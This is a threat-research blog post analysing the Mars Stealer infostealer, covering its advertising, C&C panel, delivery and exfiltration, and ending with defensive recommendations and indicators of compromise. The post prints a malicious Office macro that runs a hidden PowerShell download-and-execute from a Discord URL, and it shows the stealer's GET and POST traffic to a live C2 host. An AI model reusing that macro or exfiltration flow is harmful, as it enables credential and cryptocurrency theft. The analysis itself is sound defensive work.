Like Father Like Son? New Mars Stealer

ci cyberint.com/blog/research/mars-stealer/

February 22, 2022

Executive Summary

First observed in 2021 and advertised as a standalone version on various cybercriminal forums, Mars is an information stealer mainly targeting Windows victim credentials and cryptocurrency wallets including 2FA plugins and any essential system information. Mars is also capable of loading any type of file by downloading and executing them from a given drop-zone.

Over the past several months, Mars took the place of a solid info stealer. We now see more new threat actors comparing its efficiency to <u>Raccoon stealer</u>, and having a hard time choosing between the two given the simplicity, "noob-friendly" setup, and cheap price.

As some claims suggest, Mars is actually a new version of <u>Oski stealer</u> which we have written about in the past.

Advertising

Mars is currently advertised in over 47 different underground forums, Telegram channels and Darknet onion sites, while the main channel for purchasing the malware is the official Telegram channel (Figure 1), created on August 4, 2021, giving a big boost to the stealer.

Although Mars is a better version than its predecessor, Oski, a leak of the dashboard caused damage to the info stealer's team. But over the past months, we've seen the effort the team put into branding this info stealer with competitive prices, promoting the "MarsTeam" name, pushing new abilities, providing lifetime support, and more.

As mentioned, Mars offers a cheap lifetime subscription for only \$160, paid in cryptocurrency of course. In comparison, Raccoon and Redline, the top 2 info stealers at the moment, charge the same price for a two-week subscription, although their business model is Malware-as-a-Service (MaaS).

Another option is to use the <u>leaked panel version</u> that is currently free of charge, but threat actors need to take care of the infrastructure, anonymity, and so on, without any help or support from the MarsTeam.

	I
marsteam_support [STEALER] Mars Stealer — нативный, нерезидентный стиллер с функционалом лоадера и грабера 🤚 🤚 🍓	
Наш софт разрабатывался с учетом пожеланий людей, работающих по крипте, поэтому в Mars вы можете найти всё необходимое для работы с криптой и не только.	
ВНИМАНИЕ! МЫ НЕ РАБОТАЕМ ПО СНГ И ВАМ НЕ СОВЕТУЕМ!	
Mars написан на ASM/C WinAPI, весит всего 95kb (упакованный в UPX 40kb), использует техники для скрытия запросов к WinAPI, шифрует используемые строки, собирает весь лог в памяти, а так же поддерживает защищенное SSL-соединение с командным сервером. Не используются crt, std.	
 Список поддерживаемых браузеров: Internet Explorer, Microsoft Edge Google Chrome, Chromium, Microsoft Edge (Chromium version), Kometa, Amigo, Torch, Orbitum, Comodo Dragon, Nichrome, Maxthon5, Maxthon6, Sputnik Browser, Epic Privacy Browser, Vivaldi, CocCoc, Uran Browser, QIP Surf, Cent Browser, Elements Browser, TorBro Browser, CryptoTab Browser, Brave Browser. Opera Stable, Opera GX, Opera Neon. 	Figure 1: Mars Stealer
Firefox, SlimBrowser, PaleMoon, Waterfox, Cyberfox, BlackHawk, IceCat, KMeleon, Thunderbird.	
Собирает пароли, куки, сс, автозаполнение, историю посещений сайтов, историю скачивания файлов.	
Поддерживаются все последние обновления браузеров, включая Chrome v80.	
Важным функционалом, выделяющим нас на фоне конкурентов явлется сбор плагинов браузеров с упором на плагины-криптокошельки и 2FA-плагины.	
Список поддерживаемых крипто-плагинов: TronLink, MetaMask, Binance Chain Wallet, Yoroi, Nifty Wallet, Math Wallet, Coinbase Wallet, Guarda, EQUAL Wallet, Jaxx Liberty, BitAppWallet, iWallet, Wombat, MEW CX, Guild Wallet, Saturn Wallet, Ronin Wallet, NeoLine, Clover Wallet, Liquality Wallet, Terra Station, Keplr, Sollet, Auro Wallet, Polymesh Wallet, ICONex, Nabox Wallet, KHC, Temple, TezBox, Cyano Wallet, Byone, OneKey, Leaf Wallet, DAppPlay, BitClip, Steem Keychain, Nash Extension, Hycon Lite Client, ZilPay, Coin98 Wallet.	
Список 2FA-плагинов: Authenticator, Authy, EOS Authenticator, GAuth Authenticator, Trezor Password Manager.	
official Telegram channel	

Command and Control

The C&C setup is fairly easy, whether you buy the panel or use the leaked one. The group provides an all-inone solution that makes the stealer's infrastructure very simple to use, but also very easy to detect.

The C&C is comprised of three modules: the dashboard, the drop zone for stealers' logs, and the downloading source for dependencies.

Although the modules are separate, and the leaked code is easy to understand, it seems that most threat actors do not use more sophisticated techniques such as reverse proxy or segregation of each module in a different host, but rather use them all in the same host.

Structure

The Cyberint Research Team has been tracking Mars for some time now and found several C&Cs that were set up as public, disclosing the structure and files within the C&C (Figure 2).

Index of /panel

<u>Name</u>	Last modified	<u>Size</u> <u>Descriptio</u>	n
Parent Directory	у.	-	_
<u>GeoIP/</u>	2021-12-07 12:34	+ -	
assets/	2021-12-07 12:32		
<u>dashboard.php</u>	2021-12-07 12:32	2 37K	
<u>footer.php</u>	2021-12-07 12:32	85	
<u>grab.php</u>	2021-12-07 12:32	2 7.3K	
<u>header.php</u>	2021-12-07 12:32	2 5.1K	
includes/	2021-12-07 12:34	+ -	
<u>loader.php</u>	2021-12-07 12:32	2 8.2K	
login.php	2021-12-07 12:32	2 4.5K	
logs.php	2021-12-29 07:45	5 14K	
<u>logs/</u>	2022-02-15 09:14	+ -	
marker.php	2021-12-07 12:32	2 4.8K	
settings.php	2021-12-29 07:44	15K	
<u>view.php</u>	2021-12-07 12:32	2 576	

Figure 2: C&C files deployment on live server

Furthermore, we were able to find the logs gathered by the stealers (Figure 3) stored in the /logs directory within the C&C server.

Index of /panel/logs

<u>Name</u>	Last modified	<u>Size</u>	Description	
Parent Directory		-		
<u>CA</u> <u>2022></u>	2022-02-14 21:22	301K		
<u>CA</u> <u>022></u>	2022-02-14 13:35	62K		
<u>CA</u> <u>!022></u>	2022-02-14 13:54	63K		
<u>CA</u> >	2022-02-15 09:14	61K		
<u>CA</u> 20>	2022-02-14 13:36	75K		
<u>CN</u> 202>	2022-02-14 17:45	60K		
<u>CN</u> <u>22></u>	2022-02-14 15:25	2.4K		
<u>CN</u> <u>022></u>	2022-02-14 17:45	55K		
<u>CN</u> 022>	2022-02-14 21:11	48K		
<u>CZ</u> <u>202></u>	2022-02-14 22:38	80K		Figure 3: Victims
<u>DE</u> <u>202></u>	2022-02-14 21:21	301K		0
<u>DE</u> 20>	2022-02-14 16:47	301K		
<u>IN 1</u> <u>202></u>	2022-02-14 13:12	471K		
<u>IN 1</u> <u>202></u>	2022-02-14 13:25	607K		
<u>IN 1</u> <u>202></u>	2022-02-14 13:25	595K		
<u>KR</u> <u>022></u>	2022-02-14 13:30	32K		
<u>NG</u> <u>202></u>	2022-02-14 11:38	462K		
<u>NL</u> <u>202></u>	2022-02-14 16:40	301K		
<u>US</u> <u>202></u>	2022-02-14 20:00	76K		
<u>US</u> 20>	2022-02-14 17:25	197K		
<u>US</u> <u>022></u>	2022-02-15 03:58	48K		
<u>US022></u>	2022-02-15 08:10	57K		
<u>US</u> 022>	2022-02-14 22:03	60K		
	2022-02-14 22:03			
<u>US</u> 022>	2022-02-15 08:10	58K		

Figure 3: Victims' log files found in the C&C

Dashboard

Dashboard

When it comes to the dashboard infrastructure, is provides a full picture of the logs found by the threat actor stealers (Figure 4).

Dashboard								
Analytics								
Total log	Last week		Last 90d		otal pass		Country Logi	
964 Darreg of this take	유. 964 노 77 Than the previous	C	964 + 77 That the president		8719 uning all this litera	D.		
Chronology Overview							(
								/
						(
						/	- Asia - fun	apa - Atika: = Other = USA
							Country	Code
							United States of America	US
						/	Haly	it
							Canada	CA
e 2021-09-22 2021-03-34 20	21-04-03 2021-04-12 2021-04-10	a 2001-04-26 2021-0	05-01 EEE: 45-19 2521-45-17	2021-05-24 2021-05-01	3031-06-07 2	1021-09-14 2021-09-31	Romania	80
							Indonesia	ID.
Binance		Blo	ekchoin			Crypto		
Binance			72.12.194.93 country US 1 days rep:			Crypto 72.12.194.93 co Eliter sp	entry US	
			72.12.194.93 country: US			72.12.194.93 co		
25, 192, 33, 107 country: US Unique suit Volume suit 45, 138, 83, 109 country: UNK Unique suit		10 L	72.12.114.49 country: US Since raps 72.12.194.93 country: US Since raps		64	 72.12.194.93 co 72.12.194.93 co 72.12.194.93 co 72.12.194.93 co 72.12.194.93 co 	amiry: 1/0	
S5.192.30.107 country: US Orders age 45.138.281.109 country: UNK			72.12.194.93 country: US 5 days year 72.12.194.93 country: US 9 blast year	check		72.12.194.83 co Shinya sup	unity: US	
25.112/03.107 country: US Under same 45.133.05.109 country: UMIK E. Same same		10 L	72.12.114.49 country: US Since raps 72.12.194.93 country: US Since raps	deck	64	 72.12.194.93 co 72.12.194.93 co 72.12.194.93 co 72.12.194.93 co 72.12.194.93 co 	unity: US	
 \$\$152,31.32 cautity US Finite rate \$\$453,231.30 cautity US Finite rate \$\$453,231.310 cautity US Finite rate \$\$72,31,314,30 cautity US Finite rate \$\$253,214,30 cautity US Finite rate \$\$160,000 \$\$160,000 \$\$160,000 \$\$160,000 	cteck		213.5 (14.8) Country US Color year 22.13.149.81 Country US Units year 10.11.13.140.716 country US Entry one 10.12.245.246 Country US Entry one 20.100.191.231 country US			 72.12.194.30 co <i>Elimin sup</i> 72.12.194.30 co <i>Elimin sup</i> 72.12.194.30 co <i>Elimin sup</i> 72.12.194.430 co <i>Elimin sup</i> 72.12.194.430 co 72.12.194.430 co 72.12.194.430 co 72.12.194.430 co 	untry: US untry: US untry: US	
 String 24, 132 Southy 15 String and Control of the second second	check		72.13.714.93 country UB Entropole 72.13.714.93 country UB Entropole 73.13.134.07 decembry UB Entropole 74.17.234.244 country UB Entropole 74.17.245.244 country UB Entropole	check 212	5 C	 72.12.194.32 co Editor says 72.12.194.39 co Editor says 	where US where US where US where US where US where US	
35:193.28.192 examiny 105 entrow cars 45:203.21.202 examiny 105 Entrom cars 72:12.194.53 examiny 105 Entrom cars Control (100 - 100 -	check.		213.5 (14.8) Country US Color year 22.13.149.81 Country US Units year 10.11.13.140.716 country US Entry one 10.12.245.246 Country US Entry one 20.100.191.231 country US			 72.12.194.30 co <i>Elimin sup</i> 72.12.194.30 co <i>Elimin sup</i> 72.12.194.30 co <i>Elimin sup</i> 72.12.194.40 co <i>Elimin sup</i> 72.12.194.40 co <i>Elimin sup</i> 72.12.194.40 co <i>Elimin sup</i> 72.12.194.40 co <i>Elimin sup</i> 72.12.194.40 co <i>Elimin sup</i> 72.12.194.40 co <i>Elimin sup</i> 	where US where US where US where US where US where US	
 25.192.53.132 Country US Share no. 55.192.53.132 Country US Chart no. 72.23.433 Country US Chart no. 105.254 103.209 country US Chart no. 105.254 202 Country US Share no. 	check.		72.13.714.93 country UB Entropole 72.13.714.93 country UB Entropole 73.13.134.07 decembry UB Entropole 74.17.234.244 country UB Entropole 74.17.245.244 country UB Entropole			 72.12.194.32 co Substances Substanc	where US where US where US where US where US where US	
 31.332.43.132 Southy UB String to 10 String	check		72.13.714.93 country UB Entropole 72.13.714.93 country UB Entropole 73.13.134.07 decembry UB Entropole 74.17.234.244 country UB Entropole 74.17.245.244 country UB Entropole	213		 72.12.194.32 co Substances Substanc	where US where US where US where US where US where US	
 \$1532.43.132 Southy LB Service \$1532.43.132 Southy LB Calculate \$1532.43.128 country LB Calculate \$153.53.45.238 country LB Calculate 	check		27.13.71443 Country US Terr rup 27.13.71443 Country US Tear run 27.13.7143 CR Country US Tear run 27.13.7143 CR Country US Tear run 28.13.612 Country US Tear run 29.14.13.143 CR Country VS	212 Brosser Used Rower @ Chone		 72.12.194.32 co Substances Substanc	where US where US where US where US where US where US	Court 1683
 Status 23 127 county, UB Units on the Units of Units	check		7.13.1144.03 country UB 2.13.144.03 country UB 2.13.134.037 country UB 2.13.134.037 country UB 2.14.134.037 country UB 2.14.134.032 2.14.134.035 country UB 2.14.134.035 country UB 2.14.134	213 Browser Used Browser Conne Conne Conne		 72.12.194.32 co Substances Substanc	where US where US where US where US where US where US	Court 1453
 Status 23 157 country US Units runs Status 219 country US Librar runs 212 21 21 30 country US Country 212 21 40 20 country US Librar runs 102 20 Country US Country 103 20 Country 103 20 Country 104 20 Country 105 20 Country <	check		27.13.71443 Country US Terr rup 27.13.71443 Country US Tear run 27.13.7143 CR Country US Tear run 27.13.7143 CR Country US Tear run 28.13.612 Country US Tear run 29.14.13.143 CR Country VS	212 Brosser Used Rower @ Chone		 72.12.194.32 co Substances Substanc	where US where US where US where US where US where US	Court 1683

Figure 4: Mars stealer dashboard

Other than a campaign overview, the dashboard provides file grabbing statistics and Loader rules, which are used for setting up the files the threat actor would like to load into the infected machine.

It seems that more experienced threat actors will look to use the leaked panel kit given that it comes with full installation and building instructions, and , like more advanced stealers, can be modelized to create Telegram integration, making the campaign less obvious.

Dependencies

The C&C contains the dependencies the stealer needs in order to operate properly when it comes to information gathering.

The files are in fact legitimate third-party Dynamic-link Libraries (DLL) used to support access to data of various applications and/or browsers.

Drop Zone

The drop zone module within the C&C is straightforward and simple with the common gate.php file in which the stealer posting a Zip file containing the stolen data.

Delivery

Lacking an out-of-the-box distribution method, recently observed Mars incidents appear to begin with social engineering techniques commonly used in gaming forums and groups as the threat actors lure the victims to download patching software (Figure 5), cracks and keygens (Figure 6).

g software
at

delivers Mars

Using this technique might be even more effective than malicious documents sent via email given the fact that victims might think that the defense mechanisms alerts these files because of their original purposes, which are pretty sketchy by themselves. This results in excluding these files from the defense systems by the victims and knowingly approves theses files to run in administrator privileges.

In addition to this technique, evidence suggests that malspam campaign delivery is also used in the wild, along with Twitter and Instagram Direct Messaging.

Like most info stealers, the targeting of these campaigns is based more on the hobbies and communities the victims take part in, such as gaming, cryptocurrency, 3D artists and graphic designers, than on a specific geolocation or business sector.

As mentioned, the more traditional and more scalable technique of spreading the stealer will be a combination of social engineering the abusing malspam campaigns – often carried out by delivering malicious documents of any kind to the victim's machine containing malicious macros (Figure 7) that downloads and execute Mars in the machine

olevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools	
FTLE: Promo.doc Type: OLE	
VBA MACRO ThisDocument.cls in file: Promo.doc - OLE stream: 'Macros/VBA/ThisDocument'	
Private Declare PtrSafe Function doge LLb "shell32" Allas "ShellExecuteM" (ByVal hymd As Long, ByVal hyszph Bas String, ByVal hyszprams As String, ByVal hyszDr As String, ByVal hyszDr As String, ByVal FShockend As Long) As Long	
Private Sub Document_Open() n 'timage = 'vvvvserscvublicvapersonen.at" travelby = 'cl\users\Public\apersonen.b" travelby = 'cl\users\Public\apersonen.b" pen travelby For Output & #3 Print #3, 'powe^rs^hell -w hidde slee*p -5e 33;Start-BitSTr^ans^fer -Sourc htt'ps://cdn.discordapp.com/attachments/879094696843038753/936642687166214225/80INCPortable_7_16_22.ex`e -Dest C:\Users\Pub courents/cubidchallenge.ex*pc:Livers\Public\obcuments/couldchallenge.ex xe" Close #3 Fs = doge(0, StrConv("open", 64), StrConv("explorer", 64), StrConv(travelby, 64), "", 1) End Sub	lic\D
VBA MACRO Modulei.bas in file: Promo.doc - OLE stream: 'Macros/VBA/Modulei' Sub longbeyond()	
' ' longbeyond Macro ' MyZkUJNW604U ' Fod Sub	

Figure 7: Malicious macros containing PowerShell commands to download Mars from a Discord channel There has been a rise in cases where campaigners will abuse the Discord infrastructure and use it as a solid loading module for their malicious content. With Mars Stealer, it's no different.

Post Infection

Mars Stealer's approach is somewhat similar to most other stealer threats. It is obviously focused on the theft of credentials from common applications, browsers and credentials stores, as well as the acquisition of potentially sensitive and valuable data from a victim machine, such as cryptocurrency wallets or other files,

Additionally, Mars Stealer can be used as a 'loader' to download and execute additional payloads from its command and control (C2) infrastructure and, notably, will terminate and delete itself upon the conclusion of its task.

In cases in which the default languages of the victim's machine are from Kazakhstan, Uzbekistan, Azerbaijan, Belarus and Russia, the stealer will not proceed with.

Calling Home

The first step Mars will take once the machine is infected is to communicate with the C&C in order to receive configurations and instructions via HTTP GET request to the gate.php file (Figure 8).

GET /gate.php HTTP/1.1 Host: anderd2w.beget.tech Connection: Keep-Alive Cache-Control: no-cache

HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Tue, 15 Feb 2022 13:41:17 GMT Content-Type: text/html Content-Length: 196 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.25 Set-Cookie: PHPSESSID=35439dad8d906e8591205f35b128bc88; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache

Figure 8: GET request by Mars to receive

MXwxfDF8MXwwfERpc2NvcmR8MHwlQVBQREFUQSVcZGlzY29yZFxMb2NhbCBTdG9yYw qY29uZmlncyp8MXwwfDB8

further instructions

The C&C replies with Base64 encoded strings that will contain configurations regarding file types, specific directories, and strings the threat actor would like Mars to look for.

Download Dependencies

As mentioned, Mars Stealer requires several DLL files provided by the C&C in order to operate properly. It obtains them via HTTP GET requests for each file (Figure 9).

```
201 GET /sqlite3.dll HTTP/1.1
201 GET /freeb13.dll HTTP/1.1
201 GET /mozglue.dll HTTP/1.1
202 GET /msvcp140.dll HTTP/1.1
202 GET /nss3.dll HTTP/1.1
202 GET /softokn3.dll HTTP/1.1
206 GET /vcruntime140.dll HTTP/1.1
```

The downloaded DLLs will contribute to the following operations:

- freeb13.dll, mozglue.dll, nss3.dll & softokn3.dll Network Security Services and supporting libraries used by Mozilla products such as Firefox and Thunderbird
- msvcp140.dll & vcruntime140.dll Microsoft Visual C++ redistributable for Visual Studio 2015

sqlite3.dll – Enables SQLite related operations, allowing sensitive databases used by browsers and/or email clients, including cookie and credential stores, to be accessed

Data Exfiltration

Mars Stealer usually creates its working directory in the victim's machine %TEMP% directory, naming it with fourteen random capital letters and numbers. Mars Stealer stores all acquired data within this directory in preparation for data exfiltration (Figure 10), including credentials from a variety of chat, email, FTP and webbrowsing applications, as well as cryptocurrency wallets, a desktop screenshot and details of the system configuration.

Name	Size	
Autofill	68 259	
Cookies	763 709	
Downloads	97 297	Firme 40. Mana Ota-lanuardia e dia atama antart
History	263 232	Figure 10: Mars Stealer working directory content
passwords.txt	8 468	
📧 screenshot.jpg	62 094	
system.txt	2 646	

Once Mars finishes information gathering according to the configuration and instructions received by the C&C, it will create a zip file from the working directory and send it to the C&C (Figure 11).

```
POST /gate.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----MYUKN7900ZU37YMY
Host: anderd2w.beget.tech
Content-Length: 120589
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=35439dad8d906e8591205f35b128bc88
-----MYUKN7900ZU37YMY
Content-Disposition: form-data; name="file"
                                                                         Figure 11: Mars Stealer uploading
6PH4W4OHLXBAAI.zip
-----MYUKN7900ZU37YMY
Content-Disposition: form-data; name="file"; filename="6PH4W40HLXBAAI.zip"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
PK....$-OT.
.....f#..,...Cookies/Firefox_ehp99y7r.default-release.txtUT
...<.b.<.b.Y[..8.~v.......0..`..s.6.... @.....W......W.
the zip file to the C&C
```

Oski Comparison

Throughout the entire operation process, Mars implements the same methods as Oski: Communication with the C&C, working directory, dependencies use and data exfiltration phase are, all the same. The differences between the two are with the type of content the info stealer will look for by default and the 2FA plugins.

Recommendations

- Employee security awareness training remains an important step in helping them identify and be suspicious of unsolicited emails and phishing campaigns, especially messages with embedded links or file attachments.
- Disable administrative tools and script interpreters, such as PowerShell, to prevent their misuse by malicious payloads.
- Use Group Policy to disable macros from running in Microsoft Office applications (legitimate macros should be digitally signed to allow for an exception to the disable rule),
- Educate users on the common TTP used and reinforce the message that documents encouraging them to 'Enable Editing', 'Enable Content' or disable any other security setting are almost certainly malicious.
- Multi-factor authentication should be implemented wherever possible to limit the effectiveness of stolen credentials.
- Employees should be reminded of the risks associated with credential reuse and weak passwords supported by password policies to encourage best practice.
- Limit user permissions according to the principal of least privilege (POLP).

- Ensure that email security controls are applied to limit the delivery of potentially malicious attachments or links to end-users, as well as implementing protocols and security controls such as DKIM, DMARC and SPF.
- Continuous monitoring of unusual endpoint behaviors such as excessive requests to specific webhosts using unusual user-agent strings, can provide an early indication of compromise.
- Consider applying deep content inspection to ensure that any downloaded content filetype matches the actual file content in addition to blocking dangerous filetypes, such as executables, for standard users.

Recommendations

Indicators of Compromise

File Samples (SHA256)

The following hashes are provided for reference, given the ongoing nature of these campaigns, it is likely that the threat actor will utilize methods to avoid detection such as packing and crypting resulting in differing cryptographic hashes.

Delivery:

- dc52bd40b95294f98db602df36975e9c5a203a2648dd8ddc6748f2e678cc39a6
- 2cfdba6fcd48a3047b93b72092061bf1fac2511f74f8c747215a7c3aaf2a9102
- ed427feb185f07a51de0194f1165ebaeb002f2b8c9b08d974219be5c6075c6f

Mars:

- a4d54f94d70dcb5a029d89dcd3bcda4bb5e3e0b909fbcad04bb5ed4d09459c7d
- 031ebdaf0189694eec6b83ad26e8252547d843780563f54ec06a170f1c0e40d3

URLs

The following URLs have been observed as used during the initial downloader phases:

- hxxps[:]//siasky.net/OAC12bva5mDWqNV5JIvaN4K9ASZmy1rMTXxCg7lUGhUf0A
- hxxps[:]//plik.root.gg/file/7Pi2XabIKFrlmvfR/oF2VN0eo1Z0CGt2y/B0INCPortable_7_16_22.log

Additionally, multiple resources hosted on the Oski Stealer C2 URL have been observed with the directory structure potentially changing between campaigns:

- anderd2w[.]beget.tech
- 185[.]4.65.70
- a0626884[.]xsph.ru
- panel[.]computer
- f0623459[.]xsph.rublitzhost.ga
- 80[.]79.114.182
- test[.]akadns9[.]ne

Want to speak to Cyberint experts? <u>Contact us!</u>